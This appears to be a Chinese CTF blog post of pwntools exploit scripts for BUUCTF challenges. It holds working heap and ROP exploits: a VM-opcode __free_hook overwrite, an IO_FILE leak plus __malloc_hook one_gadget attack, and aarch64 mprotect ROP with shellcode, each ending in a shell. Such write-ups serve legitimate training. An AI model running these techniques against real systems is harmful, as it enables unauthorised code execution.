#context(os='linux', arch='i386', log_level='debug')
pwn="./pwn1"
#p=process(pwn)
p=remote("node5.buuoj.cn",29884)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------

def send_code(opcode, dest, src1, src2):
    code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2
    print(hex(code))
    return str(code)
p.sendlineafter("PC: ", '0')
p.sendlineafter("SP: ", '1')
p.sendlineafter("CODE SIZE: ", "24")
p.recvuntil("CODE: ")

p.sendline(send_code(0x10, 0, 0, 26))
p.sendline(send_code(0x80, 1, 1, 0))
p.sendline(send_code(0x30, 2, 0, 1))
p.sendline(send_code(0x10, 0, 0, 25))
p.sendline(send_code(0x10, 1, 0, 0))
p.sendline(send_code(0x80, 1, 1, 0))
p.sendline(send_code(0x30, 3, 0, 1))


p.sendline(send_code(0x10, 4, 0, 0x10))
p.sendline(send_code(0x10, 5, 0, 8))
p.sendline(send_code(0xC0, 4, 4, 5))
p.sendline(send_code(0x10, 5, 0, 0xa))
p.sendline(send_code(0x10, 6, 0, 4))
p.sendline(send_code(0xC0, 5, 5, 6))
p.sendline(send_code(0x70, 4, 4, 5))
p.sendline(send_code(0x70, 2, 4, 2))

p.sendline(send_code(0x10, 4, 0, 8))
p.sendline(send_code(0x10, 5, 0, 0))
p.sendline(send_code(0x80, 5, 5, 4))
p.sendline(send_code(0x40, 2, 0, 5))
p.sendline(send_code(0x10, 4, 0, 7))
p.sendline(send_code(0x10, 5, 0, 0))
p.sendline(send_code(0x80, 5, 5, 4))
p.sendline(send_code(0x40, 3, 0, 5))
p.sendline(send_code(0xE0, 0, 0, 0))

p.recvuntil("R2: ")
low = int(p.recvuntil("\n"), 16) + 8
print("[*]" + hex(low))
p.recvuntil("R3: ")
high = int(p.recvuntil("\n"), 16)
free_hook_addr = (high << 32) + low
print("[*] __free_hook : " + hex(free_hook_addr))
libc_base = free_hook_addr - libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']

payload = b"/bin/sh\x00" + p64(sys_addr)
p.send(payload)

npuctf_2020_bad_guy

 菜单堆题,增加删除修改功能,libc2.27 ,现在没有show的功能,我们要先泄露libc的基地址的话,那就是unlink的攻击手法了,将chunk 的指向我们堆块指针存放的位置,再把puts函数的地址填上,进行泄露,因为为full relro,且是libc2.23,则进行__malloc_hook的攻击,但是开了PIE,bss段的地址不知,则我们需要先泄露程序基址,edit可以溢出写,就先堆块重叠,再利用io泄露libcbase,再进行__malloc__hook劫持

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./npuctf_2020_bad_guy"
#p=process(pwn)
p=remote("node5.buuoj.cn",29107)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(index,size,context=b'aaaa'):
     p.sendlineafter(">> ",str(1))
     p.sendlineafter("Index :",str(index))
     p.sendlineafter("size: ",str(size))
     p.sendafter("Content:",context)

def edit(index,context):
     p.sendlineafter(">> ",str(2))
     p.sendlineafter("Index :",str(index))
     p.sendlineafter("size: ",str(len(context)))
     p.sendafter("content: ",context)

def delete(index):
     p.sendlineafter(">> ",str(3))
     p.sendlineafter("Index :",str(index))

def  pwn():
        create(0,0x10)  #chunk 0
        create(1,0x70)  #chunk 1
        create(2,0x60)  #chunk 2
        create(3,0x10)  #chunk 3
        edit(0,p64(0)*3+p64(0xf1))
        delete(1)
        delete(2)
        create(1,0x70,b'a')
        payload=p64(0)*15+p64(0x71)+p8(0xdd)+p8(0x65)
        edit(1,payload)
        payload=b'a'*0x33+p64(0xfbad1800)+p64(0)*3+p8(0x00)+p8(0x60)
        create(2,0x60,p8(0xdd))  
        create(4,0x60,payload) 
        libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4fe8
        print(hex(libcbase))
        malloc=libcbase+libc.sym['__malloc_hook']
        onegadget=libcbase+0xf1147
        arena=libcbase+libc.sym['__malloc_hook']+0x10+88
        payload=p64(0)*15+p64(0x71)+p64(arena)*2
        edit(1,payload)
        create(5,0x60)
        delete(5)
        payload=p64(0)*15+p64(0x71)+p64(malloc-0x23)
        edit(1,payload)
        create(5,p64(malloc-0x23))
        create(6,b'a'*0x13+p64(onegadget))
        p.sendlineafter(">> ",str(1))
        p.sendlineafter("Index :",str(8))
        p.sendlineafter("size: ",str(0x10))
        p. interactive()

while True:
    try:
      pwn()
      break
    except:
      p.close()
      p=remote("node5.buuoj.cn",29107)
      continue

ciscn_2019_es_4

 ida打开,菜单堆题,感觉跟之前的一道题一模一样,存在off by null ,末位字节为0,则我们可以进行unlink

 有一道相同的题

shanghai2018_baby_arm

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='aarch64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./pwn"
#p=process(pwn)
p=remote("node5.buuoj.cn",27582)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
payload = p64(elf.plt['mprotect']) + asm(shellcraft.aarch64.sh())
p.sendlineafter(b'Name:', payload)

payload = b'a'*72 + p64(0x4008CC) + p64(0) + p64(0x4008AC) + p64(0) + p64(1) + p64(0x411068) + p64(7) + p64(0x1000) + p64(0x411070) + p64(0) + p64(0x411070)
p.sendline(payload)

p.interactive()

 

posted @ 2024-03-29 16:46  fheap  阅读(8)  评论(0编辑  收藏  举报